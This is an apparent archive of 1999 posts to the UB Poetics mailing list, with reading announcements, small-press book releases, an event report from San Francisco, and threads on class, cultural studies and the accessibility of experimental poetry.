========================================================================= Date: Thu, 1 Apr 1999 14:59:38 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Charles Bernstein Subject: April is the cruelest month for poetry .... Mime-Version: 1.0 Content-Type: multipart/alternative; types="text/plain,text/html"; boundary="=====================_20110542==_.ALT" --=====================_20110542==_.ALT Content-Type: text/plain; charset="us-ascii" The University of Chicago Press website is currently featuring a piece of mine called "Against National Poetry Month as Such". It's at http://www.press.uchicago.edu. Charles Bernstein --=====================_20110542==_.ALT Content-Type: text/html; charset="us-ascii" The University of Chicago Press website is currently featuring a piece of mine called "Against National Poetry Month as Such". It's at http://www.press.uchicago.edu.

Charles Bernstein
--=====================_20110542==_.ALT-- ========================================================================= Date: Wed, 31 Mar 1999 10:47:29 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Andrew Epstein Subject: Poetry Reading (NYC) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0037_01BE7B63.DFB1C1E0" This is a multi-part message in MIME format. ------=_NextPart_000_0037_01BE7B63.DFB1C1E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I announced this reading quite a while ago, but I thought it might be a = good idea to post a reminder. Hope to see some of you there! ____________________________________ The F. W. Dupee Poetry Reading Series Presents: GARY LENHART & EILEEN MYLES Introduced by Kenneth Koch Tuesday, April 6,=20 8 PM Maison Francaise Columbia University (116th & Broadway) Admission Free GARY LENHART is the author of several books of poetry, including Father = and Son Night (1999), Light Heart (1991). He is the editor of The = Teachers & Writers Guide to William Carlos Williams (1998). =20 EILEEN MYLES's poetry collections include Not Me (1991), Maxfield = Parrish (1994), and School of Fish (1997), and she is also the author of = several short story collections, including Chelsea Girls (1994). =20 ------=_NextPart_000_0037_01BE7B63.DFB1C1E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I announced this reading quite a while ago, but I = thought it=20 might be a good idea to post a reminder.
 
Hope to see some of you there!
 
____________________________________
 
The F. W. Dupee Poetry Reading Series Presents:
 
GARY LENHART

 &
 
EILEEN MYLES
 
Introduced by Kenneth Koch
 
 
Tuesday, April 6,
8 PM
 
Maison Francaise
Columbia University
(116th & = Broadway)
 
Admission Free

 
 
GARY LENHART is the author of several books of poetry, including = Father and=20 Son Night (1999), Light Heart (1991).  He is the editor of The = Teachers=20 & Writers Guide to William Carlos Williams (1998). 
 
EILEEN MYLES's poetry collections include Not Me (1991), Maxfield = Parrish=20 (1994), and School of Fish (1997), and she is also the author of several = short=20 story collections, including Chelsea Girls (1994). =20
------=_NextPart_000_0037_01BE7B63.DFB1C1E0-- ========================================================================= Date: Tue, 30 Mar 1999 12:54:23 +0000 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: WENDY KRAMER Organization: N/A Subject: check it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The following titles showed up on a recent book order list for the branches of the new york public library. please note that they are not yet in the catalog; however, i'm posting them now because later, i'll forget. look for them in the catalog in a few weeks (i don't know how many weeks): Matinees by Ange Mlinko Nicholodeon: a book of lowerglyphs by Darren Wershler-Henry dont forget you can access the new york public library catalogs ("leo" for the branches) at their website: www.nypl.org p.s. the ray johnson sites are swell! thanks wendy p.p.s. the surrealist women anthology i mentioned in former posts is really gripping. but, i agree with listee nancy burr: not enuf pics! mimi parent is a personal fave. there's a lot of collagists in there. the scope is lovely. . . from the 1920s to the present, from all over the world. hmpf! i , ignorantly, had thot that surrealism was a short-lived, mostly french movement. the introductions to individual chapters are really good . the feminism is right on. for me, it's a great introductory textbook to surrealism generally. the point being, of course, that women have always been so much _in_ surrealism "generally." ========================================================================= Date: Tue, 30 Mar 1999 13:41:35 +0000 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: WENDY KRAMER Organization: N/A Subject: Re: ray johnson mail art tribute MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit in response to pete spence about whether the whitney did indeed exhibit contemporary mail art sent in tribute to ray yes there was a small glass case with a sampling of stuff on a pedestal as you left the exhibit to go towards the elevators. i had gotten a flyer about it and had expected that portion to be larger. the mail art was sort of all piled up together, as i remember it. i too sent something for ray i made him a corregated love pome 7: correspondance for ray johnson. dunno what happened to it i left it with the receptionist wrapped in bubble wrap in a grocery bag. wendy ========================================================================= Date: Wed, 31 Mar 1999 12:32:37 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Kevin L. Magee" Subject: Re: "town crier"/Cauleen Smith in Cleveland MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Gerald Schwartz wrote: > > Is there any validity to considering this a question of who sets the agenda? I > poet's "explanation" of a reality may serve as the context in which a reader > considers the meaning of an "event", even if the reader nd the poet have > diametrically opposede renderings of the same occurence. > By strssing poetry as information, I do not mean to suggest that a poem's > information is the only source. But, given the audience, may be of a limited > power in swaying. Take it further, there are probably poetic productions that > lower their audience's aspirations to advance. > > What I mean to suggest is that a poem can impart to occurences their public > persona/character as it transforms a mere happening to a publically > recognizeable event. Along these lines I am thinking of some performances as > the modern replacement of the town crier. Some performances, perhaps more in a > griot tradition, track "fires", reporting on them, while offering help or > initiating criticism as appropriate. > > Gerald Event Note: 23rd Cleveland International Film Fest Q & A after the 3/26 showing: "all the post-production we shot it in the summer of 95 there was always a constant scramble for money to get it done I basically wrote the part for him most of the other parts were from the Bay Area cast locally in Oakland and San Francisco there are predators there in the dominant culture, people are quite fond of their serial killers how little value the lives of those children had until it became a national scandal moved back up to Oakland to shoot the film it's not every kid with a gun it's where I started making films I always forget to name someone-- John Sayles, Antonioni, Godard Q: do you have a distribution deal?--No. grants is always tricky. the lifeblood of a lot of artists the tendency is to support more older artists I shot the film on 16 millimeter the first grant that I got it's a huge validation for an artist I told them I was going to make a short which I didn't clearly a little black film festival in Martha's Vineyard and then it went to San Francisco it was in Berlin. it just played in Paris last week. it just wasn't ever in my mind a gang film DRYLONGSO--an anthropologist, he went down interviews with working-class blacks they would say, "I'm just DRYLONGSO" (I'm just ordinary people / same old thing) it has a lot of different meanings next project? I'm working on a script I AM FURIOUS BLACK / social change A discursive note: DRYLONGSO operates on several levels among which is a strong social-real picturing, the site West Oakland and story: Pica, a beginning photography student who shoots back in one scene at a lecturer's artspeak about "women and sensuality" etc. etc. with "Bitch, what the fuck are you talking about?" Her challenge gets heard as an attitude, not as an appropriation of street speech to invite the lecturer--a "sister"--to rethink what she not thinking about merely recycling (art school stock-in-trade by now?) Maybe she's looking for an interaction by trying to provke a reaction. Instead she gets a lecture about her absenteeism and lack of a professional camera. Pica takes snapshots of black males with a polaroid, i.e., "don't nobody want negatives of themselves passing around"--why? "If you take their picture you won't use their picture against them." "I'm preserving the evidence . . . some kind of trace of their existence." (Pica in conversation at a bus stop). Maybe Pica's project needs to be thought about re the mass media's using genocide to justify the newest NATO bombings. There have been bodies piling up in the U.S. for a long time now. Economics or ethnic cleansing? Is Smith's Pica saying that the West Oaklands of the U.S. are proto labor/death camps? (Memory of a report in a 1994(?) issue of Mirage on talk by Agamben about concept of the camp). Mumia's death-sentence shouldn't be separated from his paritsan journalism on MOVE and the incineration of 60 homes in a West Philly working-class black neighborhood on Mother's Day (1986?) "Silence is complicity"--Greek Artists Against the War posted Mon, 29 Mar 1999 to B92. Kevin ========================================================================= Date: Wed, 31 Mar 1999 09:29:52 -0800 Reply-To: robintm@tf.org Sender: UB Poetics discussion group From: Robin Tremblay-McGaw Organization: Trauma Foundation Subject: class is MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Coming from basically a working class background myself, I found Kathy Lou Schultz's list an accurate and provocative one. I have experienced that state of hyper-awareness of codes and signs that communicate all kinds of information and have the power to exclude if one is on the outside. Shame is at the intersection of class and gender. Exposing the roots (oops, actually typed "rot") of shame as something to be addressed, redressed in writing. This has to do with exposing what someone earlier referred to as the rougher sides of life and hacking away at the miss manners of polite, stay inside the lines, writing. An earlier message never made it to the list (re Dodie's reply to my message) which stated, basically, go get 'em Dodie. Keep pushing those boundaries. Robin ========================================================================= Date: Wed, 31 Mar 1999 10:48:00 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Charles Alexander Subject: anthology offer Comments: cc: tenney@azstarnet.com, Shemurph@aol.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" dear poetics list: There is an organization called POG that started in Tucson informally in the winter/spring of 1997 and has proceeded to build a reading series and present, in total, some 47 writers and artists from Feb. of 1997 until now (or actually predicting through June of this year, which will end the current year's series). To keep this series alive, we have to do a certain amount of fundraising. One way we are doing that right now is that we have created an anthology of writers/artists from the series. We didn't get absolutely everyone who has presented in the series, and we intend to correct that with a second anthology next year. This book is 60 pages, was produced via quick-print shop and then hand-sewn in three signatures plus front & back covers in the Chax Press studios. It is co-published by POG and Chax Press. It sells for $10. Checks can be made out to POG and sent to POG c/o Chax Press at 101 W. Sixth St., no. 6, Tucson, AZ 85701. Or you can call 520-620-1626 and place an order via credit card. Please add $1 per book for book rate shipping, or add $3.20 for priority mail shipping if within the USA. For non-USA orders, email me and we'll work out shipping costs. If you buy TWO copies or more, shipping costs are waived (for book rate shipping within USA). Because this is a fundraiser, we can't offer any further discounts or trades at this time. Thank you. Please send questions via email to chax@theriver.com and not to the poetics list. Here is the list of contributors: Tom Mandel Steve McCaffery Karen Mac Cormack David Bromige Roberto Tejada Cynthia Miller Bob Perelman Leslie Scalapino Sheila E. Murphy Mei-mei Berssenbrugge Charles Alexander Rae Armantrout Clayton Eshleman Alex Garza Michael Davidson Lisa Cooper Kevin Killian Nancy Solomon Barbara Penn Douglas Barbour Stephen Scobie Eli Goldblatt Adelle Foley Jack Foley Norman Fischer Jen Bervin Peter Ganick David Shapiro Dan Featherston Hung Q. Tu Maggie Jaffe ------ charles alexander :: poet and book artist :: chax@theriver.com chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com ========================================================================= Date: Wed, 31 Mar 1999 12:21:34 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Maria Damon Subject: Re: The Joy of Poetry In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 8:08 AM -0500 3/31/99, Rebecca Wolff wrote: ... > ...I suppose I've now worked my way around to undermining my first >complaint, about poetry in the classroom, as I guess my tentative answer to >my own question is that critics/students of poetry are not purporting to >engage with the poem as merely writer or reader, but also as worker. Poem >as material with which to make money by writing papers, getting jobs, >getting better jobs? So that the lack of the particular kind of joy I was >referring to would not in the end be such a criminal thing, but an allowed >exigence. you seem here (implicitly) to be equating "cultural studies" with careerism. to the extent that such an equation holds, it is not inherent to cultural studies but *can be* a part of university culture. ... >Sincere questions: > >1) How can the production of increasingly rarified critical papers and >books (a production embedded in and directly spurred by a factory-like >academic industry) be seen to be an agent for social change? there is nothing inherently more "rarified" about essays written from a cultural studies perspective than essays written by, say, Allen Tate or Helen Vendler. Why are terms like "dramatic irony" or "persona" not considered jargon, while "binary" or "hegemony" are? As for social change, agency for social change can happen at all levels, though its efficacy can be debated. i don't know any cultural studies scholars who would claim that cultural studies scholarship ALONE can bring about meaningful social change. > >2) How is it materially different for a grad student to write a paper on, >say, Emily Dickinson's love affair with her sister-in-law, and trace its >progress through her poems, than for a grad student to write a paper on >lesbian inter-family relationships in the early part of the century, and >trace the progress of Emily Dickinson's love affair with her sister-in-law >as it is visible in her poems? One seems self-contained, and not purporting >to impact social anything, and the other goes outside literary >circumspection for its points of reference. So is the difference then that >one has the potential to effect social change, and the other doesn't? And >if that potential is not fulfilled, does that alter the quotient of actual >difference between them? how are you measuring "social change?" as an academic i sometimes think that if i have gotten one working class student into a doctoral program, or seen one mind change out of the hundred-odd students i see in a year, i will have "effected social change." ten years ago, everytime i mentioned anything with homoerotic content in the classroom, several folks would get up, walk out, and make a point of slamming the door. that doesn' happen now. why? it's not because of my own efforts, nor because ofthe public visibility of ACT UP, but because Clinton's botched gays-in-the-military forced a *mainstream*, public debate about these matters took the taboo sting out of the topic. this may make clinton and jesse helms more effecitve agents of social change than i, but i do not believe it wise for me to give up what i love doing to become a baby-kissing politician in order to effect social change. > >3) OK, so this one's not a question: in response to the relaying of Susan >Howe's interview responses to questions of anti-intellectualism and whether >a given poem needs to be applicable to everyone or just to a few: However >anachronistically, I do continuue to believe that poems, once shot out, are >beyond the control of the poet, and so the kinds of responses to them that >are had by readers are also out of the poet's control. So if I choose to >read Susan Howe without the benefit of knowing, again, what her husband's >job was, or even knowing how she would LIKE me to read the poems, then >that's mah perogative. And if that makes me not her chosen reader than >that's really OK; I can continue to read her. And if that makes me un- or >anti- intellectual then those are my own unfortunate limitations and I >suppose I am to be pitied rather than despised. > >I would also like to suggest that Ms. Howe's response is to be reviewed: I >thought I detected a certain archness which did not in fact indicate >"enragement" over the idea that some readers would not be >qualified/equipped to read her work as she wanted it read, but instead >bemusement that the question should be thrown upon her. True, I have a >tendency to read archness in often where it is not, but again I suppose >this is harmless, and makes reading--and writing--a whole lot more fun for >me than it otherwise might be. well, this doesn't directly bear on the issue of poetry and cultural studies, which is my passion, so i have no response. ========================================================================= Date: Wed, 31 Mar 1999 11:58:29 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Maria Damon Subject: Re: LYNN KELLY's Q & SUSAN HOWE'S A In-Reply-To: <199903301346.IAA89534@dept.english.upenn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" i agree w/ magee: one of my favorite anecdotes is about Aime Cesaire's being asked about the reception of his work by Martiniquan peasants; aren't they alienated by the erudition of it, he was asked. not in the least, he said; they're the most receptive and enthusiastic audience i've had. i always cite this to students who are afraid that their increasing erudition will alienate them from their "community." At 8:46 AM -0500 3/30/99, Michael Magee wrote: >According to Mark Prejsnar: >> >> These questions about educational level, etc., are often thrown at >> interesting poetry; and are very instructive for what they suggest about >> the person asking 'em.. >> > >Mark's absolutely right here - who brings up these questions in most >cases? - highly educated mainstreamers, no? In places like NYTBR, no? As >evidence to the contrary of this correlation btwn "experimental" and >educated "elite" I'd point to the many poets I know working in various >"poetry in the schools" projects and to one specific example: Susan >Stewart using Harryette Mullen's *Muse & Drudge* in a literacy program and >then having Harryette flown in to read for those students, to great affect >and much fun, I hear. Elitist? Hardly. In contrast, could *anything* be >more alienating to, say, an undereducated, working class person than, say, >Richard Wilbur's "Still, Citizen Sparrow"? Now *that's* a poem which >requires the full regalia of a long and evil "education." -m. ========================================================================= Date: Wed, 31 Mar 1999 11:52:17 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Kevin Gallagher Comments: To: Gerald Schwartz In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT For those of you in and around Manhattan. I have 7 tickets (4 for Saturday, 3 for Sunday, they were $15/tik) to the Peoples Poetry Festival next weekend. Unfortunately, we won't be coming down for it. If one or a number of you would like them I'd like to give them away - I'd hate to have them go to waste. Perhaps interested parties could make a modest donation to compost (if over $8 you'd get you our new issue), but that's not necessarily necessary. Please email. **************************************************************************** Kevin Gallagher compost magazine po box 226 jamaica plain, ma 02130 617-524-1456 **************************************************************************** ========================================================================= Date: Thu, 1 Apr 1999 21:14:03 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Administration Subject: LAGNIAPPE MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Ben Friedlander asked that this announcement be forwarded to the list. Chris ---------- Forwarded message ---------- Announcing issue #2 of Lagniappe: Poetry and Poetics in Review (just in time for daylight savings): AUTHORS REVIEWED INCLUDE (BUT ARE NOT LIMITED TO) Selby, Ellingham/Killian, Creeley, Stroffolino, Ashbery, Snyder, AND Dosse BY Joel, Alicia, Steve, Graham, Jonathan, Wyman AND Winnie. PLUS ESSAYS BY Alan Gilbert AND Edgar Allen Poe http://writing.upenn.edu/~foust/lagniappe.html ========================================================================= Date: Wed, 31 Mar 1999 13:09:13 -0000 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: travmar03 Subject: Fw: a Talk by poet Stephen Rodefer Comments: To: xentrica@earthlink.net, Writers House , vhanson@netbox.com, tf@morningred.com, TDevaney@brooklyn.cuny.edu, T Sinioukov , swineburne@yahoo.com, swalker@dept.english.upenn.edu, Sub Po Etics , Ron Silliman , potepoet@home.com, Poetry Project , Philadelphiawriters@dept.english.upenn.edu, Nawi Avila , Molly B Russakoff , Michael Magee , Margit , louis stroffolino , lkoutimhot@aol.com, Kyle Conner , Kristen Gallagher , Kevin Varrone , Kerry Sherin , Justin , jon8stark@aol.com, Janine Hayes , ianjewell@netscape.net, Heather Starr , Heather Fuller , gbiglier@nimbus.ocis.temple.edu, Don Riggs , dburnham@sas.upenn.edu, Cindy Burstein , Chris McCreary , Buck Downs , Brett Evans , Brendan , Barbara Cole , banchang@sas.upenn.edu, avraham@sas.upenn.edu, Andre Codrescu , ampoupard , Amossin@aol.com, amorris1@swarthmore.edu, American Poetry Review -----Original Message----- From: Writers House To: philadelphiapoets@dept.english.upenn.edu Date: Wednesday, March 31, 1999 2:22 PM Subject: a Talk by poet Stephen Rodefer >Dear Philadelphia Poets! Join us Saturday for a talk by poet Stephen >Rodefer at Writers House, followed by a reading at the Highwire Gallery >with Rodefer and Shawn Walker. >_____________________________________________________________________ > > saturday > april 3 > at 5:00 PM > at the Kelly Writers House, 3805 Locust Walk > the Transparency Machine series at the Kelly Writers House > and Highwire Gallery present > > + + + + + + + + + + + + + + + > S T E P H E N R O D E F E R > + + + + + + + + + + + + + + + > "The Age in its Cage: > A Social Allegory of Literature and the Deformation of the Canonymous" > >Stephen Rodefer is the author of several collections of poetry, including >_Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ >(1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ >(1977). Rodefer recently returned to the United States following three >years teaching in Paris and two at Cambridge. He lives and works in >Williamsburg, Brooklyn. He has been associated with the Language School >Poets and was a student of Charles Olson. He has also taught at San >Francisco State University, University of New Mexico-Albuquerque, and >others. > >The Transparency Machine Series gives writers the chance to situate their >work in the context of wider cultural practices -- reading, writing, the >visual arts, theory, politics, and mass media. > >Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the >Highwire Gallery, 139 N. 2nd Street, between Race and Arch. > >from Rodefer's "Subtraction" in _Passing Duration_: > > The distance is impossible for each to span. We separate ourselves >with a manner of rest, gestures, syllables. Rapid hockets return what >left us edgy. The aspect speaks marks, gains favor, slams margins, at >last is only money. Space is saved. Agreement names the song the sixth >intelligence and we pass along. Solid main we fasten, and only green are >wise, only grave are mild. The enamel of our lips is highly lit, so >luminous we become as seen. > > I saw the election with my companions and raised my eyelids higher, >sitting in the philosophy of a family. There was a good collection of >qualities, but there was not a moral nor geometries, though endless avid >rows made the record of their comment. The graveyard lapped the swing >where love and work were one. Dido lost her liveliness in the theme that >chases this. The word again did fail its argument. The group diminishes >to three. And in the other shift the loop that led us there, from pant to >hat, from triangle to hair, was cut and reassessed to be a brow beak. >Then nothing alone which was not light; nothing does which is not done. > > Still they beckon the descent. The diminished human world proposes >shortening. But it cannot. The ground survives forewarned. > >---------------------------- >The Kelly Writers House wh@dept.english.upenn.edu >3805 Locust Walk 215-573-WRIT >Philadelphia, PA 19104 http://www.english.upenn.edu/~wh > ========================================================================= Date: Wed, 31 Mar 1999 18:44:24 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Taylor Brady Subject: Report from San Francsico (because Kevin and Dodie shouldn't always have to do it) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" It was a great weekend for poetry and related events in San Francisco - and now, it being already Wednesday and I being disinclined to do more JOB - I thought I might pass along a few impressions, for whatever they might be worth... Friday night witnessed San Franciscan Renee Gladman and New Yorker Eleni Sikelianos reading to a full house in the Small Press Traffic series at New College. Renee read first, a single, long-ish and more-or-less narrative piece whose title I can't quite remember (I have to hear titles - as well as people's names - at least three times before I remember them. My apologies to Renee). At the risk of being hyperbolic, let me say that this was some of the most exciting work I've heard from a writer of my approximate "generation" this year. The story - which, with qualification, is what Renee almost called it - seemed to work as both embodiment and critique of story-telling as an ethnographic or anthropological enterprise. Creating a fictional people, a "culture," Gladman interrogates what there is to be told of such by posing her narrator at its edge or limit (which of course, is also _within_ in a particularly unstable way). Folklore, archive and memory where they stage their mutual acts of departure from and into one another.... The culture to be "told" as an aggregate of departure (don't know why Deleuze occurred to me just then, but so it is).... And some marvelously memorable landscapes of mountains, caves, and one particularly vexed and vexing tree.... In tone and overall construction it was utterly specific to its own imperatives, but strangely reminiscent as well of certain strains within feminist fantasy and science fiction. Echoes of Joanna Russ in its allegorical imagining _otherwise_ of culture, but far more plural and difficult in those allegorical dimensions and in its imagination of the relation between culture and the specific acts of the writer or teller. (Come to think of it, this text might be read productively as one [fictive] way to open up some of the questions in the recent thread spinning off from the "poetics-and/as-cultural-studies" nexus). Echoes also of Octavia Butler in its specifically (I thought) feminist interest in speculating on endings, cultural and historical - though, unlike Butler, not given to a weirdly romantic "overtelling" of apocalyptic violence (thinking here of _Parable of the Sower_ or _Clay's Ark_, for instance). All this with a consummate poet's ear for the pacing and unfolding of sound, and this comes out in her reading (see below). Who else? Borges, Laura Riding's more fabular prose work, Marcel Griault, Hurston's folklore as if told by Clarice Lispector as a character in one of Tarkovsky's SF films.... Ok, enough - and not to pose these as "influences," but as handles for the description of a piece of writing I'm finding pleasantly quite difficult to describe. I'm told that the story is part of a manuscript to appear from Kelsey St. Press this winter, so you can look for yourself. I recommend it highly. I also recommend a hearing if she's in your area, as she's a great reader - measured and calm without being leaden or pseudo-"profound." Just slow enough. Anyone who remembers early musical training will know what I mean here: beginners always speed up over the course of a performance, while those stalled out one step above beginning overdo each ponderous articulation in an attempt to _make_ meaning. Renee's at least two steps beyond that - and that's a long way... During the intermission the tenacious intestinal flu I'd been fighting came back to pick up the records it had conveniently "left behind" after our unfortunate assignation earlier in the week. So by the time the evening's second reader, Eleni Sikelianos, took the lectern, I was doubled over with cramps, trying not to fling a used burrito into the sweatshirt hood of the person in front of me. Lest anyone think this is some version of the poetry world's perennial snide snub, let me be clear that I'm serious - I was in a lot of pain and didn't really hear much of what was going on. My apologies to Eleni - I hope someone else has impressions of her reading they'd like to share. Saturday and Sunday, in brief, were music nights for me and others. Saturday was the final night of San Francisco's Other Minds festival, which found Jen Hofer, Tanya Hollis and myself in attendance. First on the bill was the U.S. concert premiere of French concrete (sorry, can't do acute accents) composer Luc Ferrari's fourth installment in his _Presque Rien_ series, subtitled _La remontee au village_ (sorry, can't remember French genders just now). Lovely piece - if the various ambient musics are, in Terre Thaemlitz's words "a tactical reversal of figure-ground relationships," then I might describe Ferrari's tape piece as perhaps a further refinement, in which those relationships are not so much reversed as multiplied. The sounds of Ferrari and his wife climbing to an Alpine Italian village figure as a sort of ground bass (I think that's from the program notes) over which variously electronically manipulated sounds - some obviously so, some quite subtly different from "reality" -- from the same walk are superimposed in a more overtly musical structure. The pluralization of this opposition occurs as one begins to hear, in the "unaltered background," the "sources" of sounds one had taken previously as occupying the "altered foreground." The overall effect is not one of simple reversal, since over the sixteen-minute course of the piece what happens is a cumulative potentiating of forward movement in the background and backward movement in the foreground, until it's only in a very local (second-by-second) sense that one can tell which is which. (Sorry to spend so much time on this, but it occurs to me that music specifically for recorded media, especially music with a "documentary" component as strong as Ferrari's, really is a kind of writing, and might be of interest to people whose interests otherwise run in a more literary direction). Second up was toy piano virtuoso Margaret Leng Tan, who played works for that instrument by John Cage, Antonio Pinho Vargas, Guy Klucevsek and Toby Twining. The Pinho Vargas piece was my favorite, as it seemed to take the instrument seriously for what it was - scored for two toy pianos, it took advantage of the "bad," tinny timbral qualities of the instruments in a restrained, unflashy piece that gave a lot of space for those dissonant outer partials to ring against each other. The evening's final performance was by the ensemble CRASH, doing choreographed percussion pieces by Mary Ellen Childs. Not my favorite of the night - technically very accomplished, but not (to my jazz and Varese-inhabited ears) very rhythmically interesting, and the choreography, while again a marvel of coordination, started to feel manipulative and gimmicky about halfway into the second of the four or five compositions. Sunday was the final performance at SF's Sweatshop improv space, and featured a set by the Larry Ochs / Lisle Ellis / Douglas (?) Robinson trio What We Live and two solo sets by Steve Lacy. Since this post has gone on long enough already, I'll simply say that all three sets were intense and beautiful in very different ways - What We Live episodic and quasi-narrative, Lacy linear and "argumentative" like the best of essay writers. (I know that "linear" is often a derogatory term in these here parts, so let me make it clear that I mean to attach quite the opposite value to it). Poetry folk in attendance included Lyn Hejinian, Bill Berkson, Steve Dickison, Jen Hofer, Renee Gladman, and yours truly - many of us hunkered down in the dilapidated couches scribbling furiously throughout the performances. OK, so that's it, save the stuff I missed (Thursday and Friday at Other Minds: Alvin Lucier, more Margaret Leng Tan, Sam Rivers (!) and Julian Priester (!); Norman Fischer's Saturday afternoon reading at the Attic Club) and the stuff for which I was present in body but not in mind (i.e., Sikelianos at SPT - my apologies again). Maybe someone else will have some recollection of these? My best to all you folks in Poetics land, Taylor Brady, once and future lurker ========================================================================= Date: Wed, 31 Mar 1999 22:30:54 EST Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Burt Kimmelman -@NJIT" Subject: Lyn Hejinian I need to get in touch with Lyn Hejinian via e-mail. Does anyone have an eddress for her? Thanks, Burt Kimmelman kimmelman@admin.njit.edu ========================================================================= Date: Wed, 31 Mar 1999 18:27:49 +0000 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: kathylou@ATT.NET Subject: Re: Class is . . . (fwd) I'm not so easily silenced. If it weren't for transgressive writing practices that dare to speak the unspeakable, much of contemporary literature wouldn't be worth reading. See, for example, Dodie Bellamy's _The Letters of Mina Harker_. Thank goodness she didn't shut up. And class for god's sake is one of the unspeakable, unnameable issues in American culture. Kathy Lou Schultz > Dear Kathy Lou Schultz: > > You quickly learn to keep such knwledges secret unless you're looking > for a fight. See Melville's _White Jacket_. > > Best, > Mike > > > Mairead, > > I don't care if you think it's obnoxious. Survival is > > survival. One does what one needs to do in order to > > survive. For poor and working class folks survival is > > often the name of the game--not "offense." In any case, > > you're just trying to turn what I said on its head without > > responding to the crux of my point, which I find > > obnoxious. Backchannel further, please. > > Thank you. > > Kathy Lou Schultz > > > > > > > > ========================================================================= Date: Wed, 31 Mar 1999 22:23:42 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: travis ortiz Subject: Pamela: a novel by Pamela Lu (Atelos Publishing Project) Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Pamela: A Novel by Pamela Lu Atelos is pleased to announce the publication of Pamela: A Novel, by Pamela Lu.=20 About the book:=20 Although widely known as a poet, Pamela Lu=92s first full-length= book is a prose work, situated somewhere between autobiography and novel. Writing in Poetry Flash, Katy Lederer says of it, =93Lyrical in both its intent and intensity, Lu=92s story swiftly takes its reader to the heart of= a poetic ambivalence told through the figures of self, love, and art.=94 The result is an extended social portrait recalling Gertrude Stein=92s studies= of language, habit, and character. The central figure of Pamela: A Novel is the brilliantly intelligent narrator P and the =93plot=94 turns around her examination of her own narrative. This narrative, meanwhile, consists of an intricate structure of encounters, relationships, and stories; out of them P is created and in them her avatar, Pamela, is embodied. For Lu, =93oppositional structures within terms of identity and location=97here/there, us/them, professional/vocational, culture/subculture=97...open the space of the social and philosophical= world=94 (Lytle Shaw, Poetics Journal 10). As P presses on into this world, her insights=97her philosophizings amidst the real=97are subtle and often= perfectly comedic. About the author:=20 Pamela Lu grew up in Southern California and attended the University of California, Berkeley. She is one of the editors of Idiom and now lives in San Francisco. Pamela: A Novel is her first book. About the Atelos project: Atelos was founded in 1995 as a project of Hip=92s Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; Pamela: A Novel is volume 4. The project directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Travis Ortiz. Ordering information: Pamela: A Novel may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1409; phone 510-524-1668 or toll-free 800-869-7553; e-mail: orders@spdbooks.org [*new e-mail address*] ========================================================================= Date: Wed, 31 Mar 1999 22:24:04 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: travis ortiz Subject: pamela: a novel--book release party--san francisco Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" There will be a book release party this Friday in San Francisco to celebrate Pamela Lu's book, Pamela: A Novel (the most recent book in the Atelos series). Everyone is welcome, so please come and show your support for this great new book (and amazing writer): 98 Hill Street (between Valencia and Guerrero) San Francisco Friday, 2 April 1999 8:00 PM for info/directions call 415.647.6988 or email ortiz@ncgate.newcollege.edu Books will be available for sale ($10), and I'll be making martinis... ========================================================================= Date: Wed, 31 Mar 1999 22:24:15 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: travis ortiz Subject: m. mara-ann & jill stengel reading at the attic (s.f.) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" this saturday 4.3.99 m. mara-ann & jill stengel will be reading at the attic club in san francisco on 24th at mission. the reading starts at 5 pm (& it's happy hour from 5 to 7pm) ========================================================================= Date: Thu, 1 Apr 1999 07:26:14 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: derek 